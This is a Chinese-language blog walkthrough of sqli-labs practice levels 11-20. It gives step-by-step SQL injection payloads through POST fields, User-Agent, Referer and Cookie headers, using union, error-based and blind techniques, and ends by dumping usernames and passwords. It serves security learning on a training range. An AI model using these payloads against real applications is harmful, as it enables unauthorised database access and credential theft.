Sqli-lab注入靶场 11-20笔记

目录

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

Less-12 基于错误POST请求双引号字符型注入

Less-13 基于POST请求单引号字符型双注入

Less-14 基于POST请求单引号字符型双注入

Less-15 基于POST请求单引号的布尔型和时间型盲注

Less-16 基于POST请求双引号的布尔型和时间型盲注

Less-17 基于POST请求显错更新查询注入

Less-18 基于错误的用户代理头部注入

Less-19 基于错误的头部Refer注入

Less-20 基于错误的Cookie头注入


Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

 登陆成功后页面是

GET是从服务器上获取数据,POST是向服务器传送数据。

从第十一关开始就是POST方式交互数据,也就是向服务器传送数据

uname='&passwd=1&submit=submit//返回的结果显示存在sql语法错误,证明存在注入漏洞

寻找闭合方式,先输入1' or 1=1#,登陆成功,闭合方式为单引号闭合

看有多少个字段,输入-1' order by 3#发现有两个字段

-1' union select 1,database()#,查询数据库:security为数据库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# ,查表

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #   查字段

-1' union select (select group_concat(username) from users), (select group_concat(password) from users)#   查所有用户名密码

Less-12 基于错误POST请求双引号字符型注入

")闭合,剩下步骤和Less-11一样

Less-13 基于POST请求单引号字符型双注入

闭合方式')时报错,没有回显

可以使用报错注入

admin') and (updatexml(1,concat(0x7e,(select database()),0x7e),1))# #查询数据库

admin') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))# #爆表

admin') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))# #爆字段

admin') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1))# 爆字段内容

Less-14 基于POST请求单引号字符型双注入

闭合方式为双引号,其余和Less-13类似

Less-15 基于POST请求单引号的布尔型和时间型盲注

uname=1' or 1=1 # 可以成功登陆

单引号闭合,时间延迟型注入

布尔型盲注
uname=admin' and 998=998 --+&passwd=admin&submit=Submit 登陆成功
uname=admin' and 998=999 --+&passwd=admin&submit=Submit 登陆失败

时间延时盲注
uname=admin' and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

爆库
uname=admin' and if(length(database())=8,sleep(8),1)--+&passwd=shit&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(8),1)--+&passwd=shit&submit=Submit

爆表
uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(8),1)--+&passwd=shit&submit=Submit

爆字段
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(8),1)--+&passwd=shit&submit=Submit

爆字段信息
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(8),1)--+&passwd=shit&submit=Submit

Less-16 基于POST请求双引号的布尔型和时间型盲注

为 ") 型注入,没有回显使用延迟型注入,把单引号改成")  ,其余与less15一样

Less-17 基于POST请求显错更新查询注入

username处输入时仅有显示图片发生变化,但是在password处输入时会显示报错信息

单引号闭合

对uname进行了过滤,但是没有对password进行过滤

在网上查到:

PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可 以使用函数 get_magic_quotes_gpc() 进行检测。

get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(')引号(")、反斜线(\)与 NULL(NULL)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换

使用updatexml函数。
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

注入:1.爆数据库名:
a' or updatexml(1,concat('#',(select database())),1)#

2.爆表名:
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

3.爆字段名:
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
![在这里插入错误:查询数据时,并不能直接用简单的select concat(username)函数,这样会引起报错。
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
4.爆出所有用户和密码:
1.' or updatexml(1,concat('#',(select * from (select concat_ws
2.(' ',id,username,password) from users limit 0,1) a)),1)#
注://concat_ws()函数与concat()函数类似,只不过在每个数据间多了分隔符。

Less-18 基于错误的用户代理头部注入

$_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。

$_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。

$_SERVER['REMOTE_ADDR'],客户端不能伪造。

所以这里的 IP 是无法被伪造的,这里只能通过修改User-Agent来进行注入

爆库
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

爆库
and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

爆表
 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and "&passwd=bmfx&submit=Submit

爆字段
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and "&passwd=bmfx&submit=Submit

爆字段值
 and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and "&passwd=bmfx&submit=Submit

联合查询注入
爆库
uname=bmfx") union select 1,database() --+&passwd=bmfx&submit=Submit

爆表
uname=bmfx") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=bmfx&submit=Submit

爆users表中的字段
uname=bmfx") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=bmfx&submit=Submit

爆数据
uname=bmfx") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) --+&passwd=bmfx&submit=Submit

Less-19 基于错误的头部Refer注入

数据库名 Referer:' or updatexml(1,concat('#',(database())),0),'')#

表名 Referer:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#

列名 Referer:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#

用户名密码 Referer:' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#

Less-20 基于错误的Cookie头注入

只有插入到cookie里面可以注入,将查询语句插入到cookie中

用burpsuite进行抓包,cookie注入

Cookie: uname=admin' and 998=999 union select 1,2,database()--+

报错注入(extractvalue)

爆库
uname=admin' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

爆版本
uname=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+

爆表
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆字段值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值